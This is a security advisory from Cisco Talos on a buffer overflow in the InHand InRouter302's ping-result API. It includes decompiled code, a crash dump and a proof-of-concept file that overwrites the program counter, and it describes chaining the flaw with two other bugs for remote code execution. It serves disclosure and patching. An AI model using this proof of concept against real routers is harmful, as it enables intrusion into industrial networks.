

# Talos Vulnerability Report

TALOS-2022-1471

## InHand Networks InRouter302 httpd parse\_ping\_result API buffer overflow vulnerability

MAY 10, 2022

CVE NUMBER

CVE-2022-24910

### Summary

A buffer overflow vulnerability exists in the httpd parse\_ping\_result API functionality of InHand Networks InRouter302 V3.5.4. A specially-crafted file can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.

### Tested Versions

InHand Networks InRouter302 V3.5.4

### Product URLs

InRouter302 - <https://www.inhandnetworks.com/products/inrouter300.html>

### CVSSv3 Score

8.2 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - chain: TALOS-2022-1472, TALOS-2022-1468

### ### CWE

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

### Details

The InRouter302 is an industrial LTE router. It features remote management functionalities and several security protection mechanism, such as: VPN technologies, firewall functionalities, authorization management and several other features.

The inRouter302 has a web server that listen at port 4444. This specific port, allegedly, is used for API services. The main difference between this port and the 80 and/or 443 is that the responses of the server, allegedly, will not have HTML in the response for requests received at port 4444. The web server, when receiving a request at port 4444, has at least one functionality more than the other two ports. Indeed in the `apply.cgi` there is a specific check that allows different actions if the request was received at port 4444:

```
void apply.cgi(void)
{
[...]
```

```
    _reboot = (char *)webcgi_safeget("_reboot","0");
    rboot = atoi(_reboot);
    if (rboot == 0) {
        [...]
    }
}
else {
    _reboot = "";
    if (gl_server_port == 4444) {
[1]
        action_name = "action_start";
        ping_test_cursor = pingtest_api;
        do {
            action_name = (char *)webcgi_safeget(action_name,"error");
            is_PING_Test = strcmp(action_name,"PING_Test");
[2]
            if (is_PING_Test == 0) {
                http_api_success = 2;
                if (ping_test_cursor->exec == (exec *)0x0) {
                    http_api_success = 2;
                    return;
                }
                (*ping_test_cursor->exec)();
[3]
            }
            return;
        }
        ping_test_cursor = ping_test_cursor + 1;
        action_name = ping_test_cursor->name;
    } while (action_name != (char *)0x0);
    }
}
[...]
```

In this function it is first checked, at [1], if the request was received at port 4444. Then an array of structure is parsed. The structure is composed of two fields:

```
char *name: the functionality name  
code *exec: the function pointer
```

If in the request there was the `action_result` parameter, and its value was `PING_Test`, checked at [2], then at [3] the `ping_action_result_API` function is called:

```

void ping_action_result_API(void)
{
    int iVar1;

    iVar1 = pidof("ping");
    if (iVar1 == -1) {
        iVar1 = pidof("ping_timer");
        if (iVar1 == -1) {
            parse_ping_result();
            return;
        }
    }
    _web_printf(0,"PENDING\r\n");
    return;
} This function checks if no processes named `ping` and `ping_timer` exist, and then
calls the `parse_ping_result` function:

undefined4 parse_ping_result(void)
{
    [...]
    fd = fopen("/tmp/ping_result.txt","r");
[4]
    if (fd == (FILE *)0x0) {
        [...]
    }
    else {
        [...]
        fgets(first_line,0x20,fd);
        fgets(second_line,0x20,fd);
        while( true ) {
            n_read = fgets(chunk_of_file,0x100,fd);
            if (n_read == (char *)0x0) break;
            n_read = strstr(chunk_of_file,"statistics");
            if (n_read != (char *)0x0) {
                fgets(chunk_of_file,0x100,fd);
[5]
                sscanf(
                    chunk_of_file,"%s*s*s*s*s*s*s*s",
                    &packets-trasmitted,&packets-received,&packet-loss-rate
                );
[6]
                [...]
            }
        }
        [...]
    }
    [...]
}

```

This function will open, at [4], the file located at /tmp/ping\_result.txt, allegedly created by a previous request. It then reads the first two lines of the file and enters a while loop. The loop starts by reading one line; if it contains the string statistics then a second one, at [5], is read and parsed at [6] by sscanf. The line parsed with

scanf at [6] can be up to 256 bytes, but the three buffers used are only 32 bytes each. If an attacker is able to manipulate the content of the /tmp/ping\_result.txt file and then call the apply.cgi API with the parameter parse\_ping\_result=PING\_Test, then a buffer overflow would occur and can lead to remote code execution.

Note that, while this issue requires the most privileged logged-in user, it's possible to use TALOS-2022-1472 to perform this API starting from a low-privileged user. Furthermore, is possible to use TALOS-2022-1468 to upload the /tmp/ping\_result.txt file, making this attack remote. In this case, the actual chained CVSS score would be 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.

#### Crash Information

```

$zero: 0x0
$at : 0x7faafd6e → 0x00000000
$v0 : 0x0
$v1 : 0x1
$a0 : 0x77b581d8 → 0x00000000
$a1 : 0x1
$a2 : 0x77b56300 → 0x00000000
$a3 : 0x1
$t0 : 0x004820d0 → 0x00000069 ("i"? )
$t1 : 0x43
$t2 : 0xc2c2d
$t3 : 0x442
$t4 : 0x40000000
$t5 : 0x40000000
$t6 : 0x0
$t7 : 0x0
$s0 : 0x6261616c ("laab"? )
$s1 : 0x6261616d ("maab"? )
$s2 : 0x6261616e ("naab"? )
$s3 : 0x6261616f ("oaab"? )
$s4 : 0x62616170 ("paab"? )
$s5 : 0x62616171 ("qaab"? )
$s6 : 0x62616172 ("raab"? )
$s7 : 0x62616173 ("saab"? )
$t8 : 0x0
$t9 : 0x77b861dc → lui gp, 0x2
$k0 : 0x1
$k1 : 0x0
$s8 : 0x62616174 ("taab"? )
$pc : 0x62616175 ("uaab"? )
$sp : 0x7faafe50 → "vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaacia[...]"
$hi : 0x70b0
$lo : 0xb5000000
$fir : 0x0
$ra : 0x62616175 ("uaab"? )
$gp : 0x77b5e430 → sw gp, 24(sp)

```

---

——— stack ———

```

0x7faafe50|+0x0000: "vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaacia[...]" ←
$sp
0x7faafe54|+0x0004: "waabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacja[...]"
0x7faafe58|+0x0008: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
0x7faafe5c|+0x000c: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclea[...]"
0x7faafe60|+0x0010: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacleacma[...]"
0x7faafe64|+0x0014: "baaccaacdaaceaacfaacgaachaaciaacjaackaacleacmaacna[...]"
0x7faafe68|+0x0018: "caacdaaceaacfaacgaachaaciaacjaackaacleacmaacnaa"
0x7faafe6c|+0x001c: "daaceaacfaacgaachaaciaacjaackaacleacmaacnaa"

```

---

——— code:mips:MIPS32 ———

```

[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616174

```

---

——— threads ———

```

[#0] Id 1, stopped 0x62616175 in ?? (), reason: SIGSEGV

```

## Exploit Proof of Concept

If the /tmp/ping\_result.txt file has the following content:

```
FIRST
SECOND
statistics
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaamaaaanaaaooaaapaaaqaaaraaasaaataaaauaaa
vaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaab
raabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaac
naac ignored ignored parsed ignored ignored parsed
OTHER
```

Then, when the web server would receive a request for the `apply.cgi` API at port 4444 with the parameter `parse_ping_result=PING_Test`, the crash show in Crash Information would occur.

## Vendor Response

The vendor has updated their website and uploaded the latest firmware on it. <https://inhandnetworks.com/product-security-advisories.html> <https://www.inhandnetworks.com/products/inrouter300.html#link4>

<https://www.inhandnetworks.com/upload/attachment/202205/10/InHand-PSA-2022-01.pdf>

## Timeline

2022-03-02 - Vendor Disclosure

2022-05-10 - Public Release

2022-05-10 - Vendor Patch Release

## CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.

